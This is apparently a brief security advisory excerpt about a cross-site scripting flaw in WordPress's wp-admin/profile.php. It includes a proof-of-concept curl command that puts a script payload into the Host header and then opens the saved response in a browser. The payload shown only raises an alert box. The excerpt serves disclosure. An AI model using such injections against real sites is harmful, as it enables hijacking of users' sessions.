An attacker can exploit this issue by enticing an unsuspecting user to follow a malicious URI.

The following proof of concept is available:

curl -H "Cookie: my cookies here" -H "Host: <body
onload=alert(String.fromCharCode(88,83,83))>"
http://www.example.com/wp-admin/profile.php> tmp.html
$ firefox tmp.html
